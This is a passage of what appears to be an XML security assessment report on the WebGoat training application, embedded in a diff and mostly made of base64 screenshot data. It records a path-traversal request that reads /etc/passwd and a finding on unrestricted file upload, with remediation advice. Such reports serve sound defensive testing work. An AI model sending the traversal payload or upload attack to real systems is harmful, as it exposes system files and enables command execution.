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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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